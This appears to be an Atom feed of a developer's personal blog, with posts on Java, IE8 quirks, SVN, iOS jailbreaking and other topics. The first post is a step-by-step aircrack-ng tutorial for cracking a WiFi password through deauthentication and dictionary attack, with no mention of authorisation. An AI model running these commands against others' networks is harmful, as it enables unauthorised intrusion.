<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8062061358881596054</id><updated>2012-01-26T09:11:52.927Z</updated><category term='dto'/><category term='ie8 browser'/><category term='red5 tomcat war'/><category term='iOS Jailbreak Upgrade'/><title type='text'>The Bright Side of Java &amp; Linux</title><subtitle type='html'>Personal experiences as Software Engineer.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>39</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-5869976371648276784</id><published>2012-01-26T00:02:00.000Z</published><updated>2012-01-26T00:02:55.468Z</updated><title type='text'>How to crack a WiFi</title><content type='html'>Using a Linux box, booting from a USB pen drive if you are a Windows guy, it's quite easy to crack a WiFi using aircrack-ng. Here are the step by step instructions:&lt;br /&gt;&lt;br /&gt;1 - set your wireless adapter to monitor mode using airmon-ng:&lt;br /&gt;&gt; airmon-ng stop wlan0&lt;br /&gt;&gt; airmon-ng start wlan0&lt;br /&gt;&lt;br /&gt;2 - use airodump-ng to get a list of all available WiFi signals:&lt;br /&gt;&gt; airodump-ng wlan0&lt;br /&gt;&lt;br /&gt;3 - take note of the information dumped on the screen for the access point you want to crack then start collecting information using airodump-ng:&lt;br /&gt;&gt; airodump-ng -c &lt;i&gt;wifi-channel&lt;/i&gt; -w &lt;i&gt;output-files-prefix&lt;/i&gt; --bssid &lt;i&gt;wifi-bssid&lt;/i&gt; wlan0&lt;br /&gt;&lt;br /&gt;4 - force an existing client to re execute a valid handshake using aireplay-ng:&lt;br /&gt;&gt; aireplay-ng -0 5 -a &lt;i&gt;wifi-ap-bssid&lt;/i&gt; -c &lt;i&gt;wifi-client-bssid&lt;/i&gt; wlan0&lt;br /&gt;&lt;br /&gt;5 - execute a dictionary based attack on the handshake packet captured using aircrack-ng:&lt;br /&gt;&gt; aircrack-ng &lt;i&gt;output-file-prefix&lt;/i&gt;*.cap -w &lt;i&gt;dictionary-file&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;If the crack is successful you will be able to see the valid wifi password on the screen!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-5869976371648276784?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/5869976371648276784/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=5869976371648276784&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/5869976371648276784'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/5869976371648276784'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2012/01/how-to-crack-wifi.html' title='How to crack a WiFi'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-8053328435822760949</id><published>2011-07-23T13:43:00.000+01:00</published><updated>2011-07-23T13:43:27.544+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='iOS Jailbreak Upgrade'/><title type='text'>Upgrading iOS to 4.3.3 when latest is 4.3.4</title><content type='html'>Finding precise instructions on how to perform this procedure was not easy so here is what I consider a step by step sequence to follow to upgrade your iDevice (an iPhone 4 in my case) to a firmware version which is not the latest one.&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: #cc0000;"&gt;Be aware, you need to have your SHSH already saved for the firmware version you want to update to, otherwise you can't proceed!&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Download latest redsn0w&lt;/li&gt;&lt;li&gt;Download the firmware version you want to use&lt;/li&gt;&lt;li&gt;Download TinyUmbrella and RecoveryFix (you may need zlib as well)&lt;/li&gt;&lt;li&gt;Backup your iDevice using iTunes&lt;/li&gt;&lt;li&gt;Start TinyUmbrella, dowload all the available SHSH and start the TSS server&lt;/li&gt;&lt;li&gt;Start iTunes&lt;/li&gt;&lt;li&gt;Put your iDevice in DFU mode&lt;/li&gt;&lt;li&gt;From iTunes select Restore Device holding the shift key then select the firmware you have downloaded and wait until the procedure ends with an error (1011, 1013 or 1015, which is normal)&lt;/li&gt;&lt;li&gt;Now you are stuck in the Recovery Mode, here it comes the RecoveryFix tool, start it and wait for the procedure to complete: you'll end up with a phone unable to do anything rather than emergency calls, don't panic&lt;/li&gt;&lt;li&gt;Run redsn0w, load the same firmware you used to upgrade and let the procedure executes, you'll end up with a jailbroken device, but still unable to connect to your mobile line&lt;/li&gt;&lt;li&gt;Run iTunes and restore your backup, it can take long and may require some free space on disk&lt;/li&gt;&lt;li&gt;Your iDevice is now upgraded, restored and jailbroken... enjoy :-)&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-8053328435822760949?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/8053328435822760949/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=8053328435822760949&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/8053328435822760949'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/8053328435822760949'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2011/07/upgrading-ios-to-433-when-latest-is-434.html' title='Upgrading iOS to 4.3.3 when latest is 4.3.4'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-6880979922133152565</id><published>2011-07-08T10:31:00.001+01:00</published><updated>2011-07-08T11:42:05.500+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ie8 browser'/><title type='text'>IE 8 and CSS: localhost vs rest of the world</title><content type='html'>Ok, I have to admit it, I'm not a big fan of Microsoft, but this time they really made me nuts!&lt;br /&gt;&lt;br /&gt;One of the most common answer a software developer give against a defect is "it works on my machine" and we all know this is not really true as usually the answer should be "I didn't test this scenario", but this is not the case.&lt;br /&gt;Yesterday I was trying to fix a layout problem in an HTML popup and I thought I had it sorted I then pushed the change into the team repository and the CI system had it built and deployed, but when the tester gave it a try.... it wasn't sorted. After 6 hours of research this is what I came to: Internet Explorer 8 switches between IE8 mode and IE7 mode depending if you are accessing the resource on localhost or with another name/address!&lt;br /&gt;&lt;br /&gt;Let me make it a little more clear. Write a simple HTML page, the content does not really matter, and put it into any web server you like, I was using JBoss, but it doesn't really matter, the only thing you need is the ability to access the page both as localhost and with your IP address (this means that you have to start JBoss with -b 0.0.0.0).&lt;br /&gt;&lt;br /&gt;Now open IE8 and access that page using localhost, when it is loaded press F12 to load the Developer Tools and look at the last element in the menu bar, it should be like in the following picture:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-zNVLXmSzhtY/Thbesg2fwFI/AAAAAAAAK_0/keex9lVAYxQ/s1600/IE8.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="92" src="http://1.bp.blogspot.com/-zNVLXmSzhtY/Thbesg2fwFI/AAAAAAAAK_0/keex9lVAYxQ/s640/IE8.png" width="640" /&gt;&lt;/a&gt;&lt;br /&gt;Close both windows and repeat the same process but using your IP address in the URL, the result should be the following:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-vl84NK96bsI/ThbesSv8a7I/AAAAAAAAK_w/5SAaZk3xFu0/s1600/IE7.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="92" src="http://1.bp.blogspot.com/-vl84NK96bsI/ThbesSv8a7I/AAAAAAAAK_w/5SAaZk3xFu0/s640/IE7.png" width="640" /&gt;&lt;/a&gt;This is &lt;b&gt;magic&lt;/b&gt;! It took me 6 hours to figure out what was the problem!&lt;br /&gt;And if you are trying to layout stuff in a DIV using CSS, this small Document Mode change can make a huge difference in what it's rendered on the screen!&lt;br /&gt;&lt;br /&gt;So imagine you, as a developer, see your code working as you expect, you push your changes and suddenly the page seems to appear wrong, again, and again, and again.... All the files are perfectly the same, on your machine and on the server you are checking against.... but what you see is different!&lt;br /&gt;&lt;br /&gt;Thank you again Microsoft, now we can really trust our work. When it comes to IE8, the What You See Is What You Get paradigm is completely fulfilled!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-6880979922133152565?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/6880979922133152565/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=6880979922133152565&amp;isPopup=true' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/6880979922133152565'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/6880979922133152565'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2011/07/ie-8-and-css-localhost-vs-rest-of-world.html' title='IE 8 and CSS: localhost vs rest of the world'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-zNVLXmSzhtY/Thbesg2fwFI/AAAAAAAAK_0/keex9lVAYxQ/s72-c/IE8.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-5699731300014576928</id><published>2010-11-02T22:32:00.000Z</published><updated>2010-11-02T22:33:00.463Z</updated><title type='text'>Xmarks lives!</title><content type='html'>A few days ago I posted an article about a software company and a browsers plugin going to die due to lack of founds... I'm now happy to announce they have solved their money problems and their service is going to stay with us. Happy rebirthday to Xmarks!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;- Posted from my iPhone&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-5699731300014576928?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/5699731300014576928/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=5699731300014576928&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/5699731300014576928'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/5699731300014576928'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2010/11/xmarks-lives.html' title='Xmarks lives!'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-5449187028390941921</id><published>2010-10-04T15:38:00.000+01:00</published><updated>2010-10-04T15:38:22.958+01:00</updated><title type='text'>Xmarks is going to die</title><content type='html'>In the past days I received an email which changed my mood: a tool I was very happy to have installed on all my browsers and on all my IT gadgets is going to die.&lt;br /&gt;&lt;br /&gt;Xmarks is a very usefull tool, a browser plugin which is able to sync your bookmarks and credentials across many different browsers solving once and for all my password and bookmarks problem.&lt;br /&gt;&lt;br /&gt;Sadly their inventor were not able to build a revenuing businness on such a tool and they seem to be forced on shutting the service down.&lt;br /&gt;&lt;br /&gt;All my appreciation for your work guys and all my sadness for not being able to use it any more.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-5449187028390941921?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/5449187028390941921/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=5449187028390941921&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/5449187028390941921'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/5449187028390941921'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2010/10/xmarks-is-going-to-die.html' title='Xmarks is going to die'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-6265032070603531808</id><published>2010-09-07T23:32:00.001+01:00</published><updated>2010-09-08T07:41:32.406+01:00</updated><title type='text'>iPhone SBSettings Theme</title><content type='html'>I was unsatisfied by the default SBSettings themes and I decided to take an existing one and customize it.... and it was easier than I thought: &lt;a href="http://dl.dropbox.com/u/8048150/Quab%20SBSettings.rar"&gt;here is the archive&lt;/a&gt;, just decompress the file and put the file structure under &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;/var/mobile/Library/SBSettings/Themes&lt;/span&gt; using the free application &lt;a href="http://code.google.com/p/iphonebrowser/"&gt;iPhoneBrowser&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;This is how the theme appears:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_i3EJUvEf35o/TIa7ESxFeyI/AAAAAAAAACY/1rzsinWt9SY/s1600/IMG_0507.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://3.bp.blogspot.com/_i3EJUvEf35o/TIa7ESxFeyI/AAAAAAAAACY/1rzsinWt9SY/s320/IMG_0507.PNG" width="214" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-6265032070603531808?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/6265032070603531808/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=6265032070603531808&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/6265032070603531808'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/6265032070603531808'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2010/09/iphone-sbsettings-theme.html' title='iPhone SBSettings Theme'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_i3EJUvEf35o/TIa7ESxFeyI/AAAAAAAAACY/1rzsinWt9SY/s72-c/IMG_0507.PNG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-8123235755716519570</id><published>2010-09-02T08:40:00.000+01:00</published><updated>2010-09-02T08:40:53.979+01:00</updated><title type='text'>Subversion and "Could not authenticate to server"</title><content type='html'>Yesterday I was trying to release the latest stable version of the &lt;a href="http://www.dbunit.org/"&gt;dbUnit project&lt;/a&gt; through Maven and I lost some time trying to solve a stupid problem with Subversion: everytime I ran the mvn release:prepare command I got an error saying I wasn't able to authenticate to the Sourceforge SVN server.&lt;br /&gt;As I was previously more than able to release the project through this same exact procedure I think the very source of the problem was the upgrade of the Subversion client. This operation infact made the project checkout directory incompatible with the command line client I was using since my last release and I decided to upgrade to the latest 1.6 version of Subversion CLI.&lt;br /&gt;&lt;br /&gt;Everything was working fine but I forgot something: suversion command line tools caches the user credentials and the Maven release goal is performed in an unattend fashion!&lt;br /&gt;&lt;br /&gt;If you encounter such a problem I suggest you issue the following command providing your credentials when prompted:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;svn lock &lt;an a="" file="" in="" pointing="" repo="" to="" url="" your=""&gt;&lt;/an&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In my case the command was:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;svn lock https://dbunit.svn.sourceforge.net/svnroot/dbunit/trunk/dbunit/pom.xml&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This should prompt you for credentials which will be cached by the SVN client.&lt;br /&gt;&lt;br /&gt;Do not forget to unlock the file issuing the unlock command, or none else will be able to commit on that file anymore!&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;svn unlock &lt;the exact="" file="" in="" pointing="" repo="" same="" the="" to="" url="" your=""&gt;&lt;/the&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-8123235755716519570?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/8123235755716519570/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=8123235755716519570&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/8123235755716519570'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/8123235755716519570'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2010/09/subversion-and-could-not-authenticate.html' title='Subversion and &quot;Could not authenticate to server&quot;'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-75222943798401561</id><published>2010-08-29T12:27:00.005+01:00</published><updated>2010-08-29T13:34:52.598+01:00</updated><title type='text'>Development Environment</title><content type='html'>This is the set of tools available to the development team, all configured for authentication against the corporate LDAP:&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.jfrog.org/products.php"&gt;Artifactory&lt;/a&gt; is the maven repository mirror and corporate artifact repository;&lt;/li&gt;&lt;li&gt;&lt;a href="http://subversion.tigris.org/"&gt;Subversion&lt;/a&gt; behind Apache Web Server serves as source code management;&lt;/li&gt;&lt;li&gt;&lt;a href="http://continuum.apache.org/"&gt;Apache Continuum&lt;/a&gt; behind the usual Apache Web Server runs continous integration build and testing using the projects Maven and Ant configurations;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.redmine.org/"&gt;Redmine&lt;/a&gt; revealed itself as the perfect solution for project issue and time tracking with the addition of internal documentation;&lt;/li&gt;&lt;li&gt;source code analysis, code test coverage and code quality in general is available through &lt;a href="http://www.sonarsource.org/"&gt;Sonar&lt;/a&gt;;&lt;/li&gt;&lt;li&gt;performance issues are found through the &lt;a href="http://www.hyperic.com/community"&gt;HypericHQ&lt;/a&gt; monitoring system, whose reports are available to the system administrators too;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.eclipse.org/"&gt;Eclipse&lt;/a&gt; is the choosen IDE supported by &lt;a href="http://rlogiacco.blogspot.com/2008/08/eclipse-plugins.html"&gt;this&lt;/a&gt; minimum plugins set.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-75222943798401561?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/75222943798401561/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=75222943798401561&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/75222943798401561'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/75222943798401561'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2010/08/development-environment.html' title='Development Environment'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-8790555296500489233</id><published>2010-05-31T13:39:00.015+01:00</published><updated>2010-11-22T23:14:39.890Z</updated><title type='text'>java.util.Calendar and last, not exactly, day of month</title><content type='html'>&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, serif;"&gt;&lt;span class="Apple-style-span" style="font-family: georgia;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: georgia;"&gt;Consider the following code :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush:java"&gt;Calendar calendar = Calendar.getInstance();&lt;br /&gt;calendar.set(Calendar.YEAR, 2009);&lt;br /&gt;calendar.set(Calendar.MONTH, Calendar.FEBRUARY);&lt;br /&gt;calendar.set(Calendar.DAY_OF_MONTH, calendar.getActualMaximum(Calendar.DAY_OF_MONTH));&lt;br /&gt;return calendar.getTime();&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: georgia;"&gt;What's strange or wrong with this? This code looks correct at first look and expected&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: georgia;"&gt; result should be &lt;/span&gt;&lt;b style="font-family: georgia;"&gt;28 Feb 2009&lt;/b&gt;&lt;span class="Apple-style-span" style="font-family: georgia;"&gt;. Unfortunately it's not always so!!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: georgia;"&gt; Suppose to run the above code on &lt;/span&gt;&lt;b style="font-family: georgia;"&gt;31-May-2009 at 12:00 AM&lt;/b&gt;&lt;span class="Apple-style-span" style="font-family: georgia;"&gt;, the result will be &lt;/span&gt;&lt;b style="font-family: georgia;"&gt;3 Mar 2009&lt;/b&gt;&lt;span class="Apple-style-span" style="font-family: georgia;"&gt;!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: georgia;"&gt; The reason have to be found on &lt;/span&gt;&lt;b style="font-family: georgia;"&gt;lenient &lt;/b&gt;&lt;span class="Apple-style-span" style="font-family: georgia;"&gt;Calendar mechanism.&amp;nbsp;This Calendar property, infact, by default is set to &lt;/span&gt;&lt;i style="font-family: georgia;"&gt;true&lt;/i&gt;&lt;span class="Apple-style-span" style="font-family: georgia;"&gt; and doesn't throw any kind of Exception when time interpretation is not correct.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: georgia;"&gt; This is javadoc about it:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, serif;"&gt;&lt;span class="Apple-style-span" style="font-family: georgia;"&gt;When a Calendar is lenient, it accepts a wider range of field values than it produces. For&amp;nbsp;example, a lenient GregorianCalendar interprets MONTH == JANUARY, DAY_OF_MONTH == 32 as February 1. A non-lenient GregorianCalendar throws an exception when given out-of-range field settings. When calendars recompute field values for return by get(), they normalize them. For example, a GregorianCalendar always produces DAY_OF_MONTH values between 1 and the length of the month.&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, serif;"&gt;&lt;span class="Apple-style-span" style="font-family: georgia;"&gt;It means that,in our case, if we really want to get the last day of month, we have to&lt;br /&gt;write this simple code:&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush:java"&gt;Calendar calendar = Calendar.getInstance();&lt;br /&gt;calendar.set(Calendar.YEAR, 2009);&lt;br /&gt;calendar.set(Calendar.MONTH, Calendar.FEBRUARY);&lt;br /&gt;calendar.set(Calendar.DAY_OF_MONTH, 1);&lt;br /&gt;calendar.set(Calendar.DAY_OF_MONTH, calendar.getActualMaximum(Calendar.DAY_OF_MONTH));&lt;br /&gt;return calendar.getTime();&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: georgia;"&gt; and however, it's not a so bad idea, sometimes, to set lenient property to &lt;/span&gt;&lt;i style="font-family: georgia;"&gt;false &lt;/i&gt;&lt;span class="Apple-style-span" style="font-family: georgia;"&gt;and getting an IllegalArgumentsException, always better then abnormal runtime behavior.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: georgia;"&gt; Hope it can be helpful.&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-8790555296500489233?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/8790555296500489233/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=8790555296500489233&amp;isPopup=true' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/8790555296500489233'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/8790555296500489233'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2010/05/javautilcalendar-and-lastnot-exactly.html' title='java.util.Calendar and last, not exactly, day of month'/><author><name>Giuseppe Contartese</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-8980348843962924360</id><published>2010-05-25T10:55:00.003+01:00</published><updated>2010-05-25T13:58:20.008+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='dto'/><title type='text'>Five reasons to hate DTOs</title><content type='html'>I finally came to it: I hate Data Transfer Objects.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I can't explain why a lot of people still stick with this unconfortable pattern and most of them continue to ignore the cons of this choice. Now I'll try to explain my opinion by listing why I think this should be enlisted as anti-pattern.&lt;/div&gt;&lt;div&gt;&lt;br 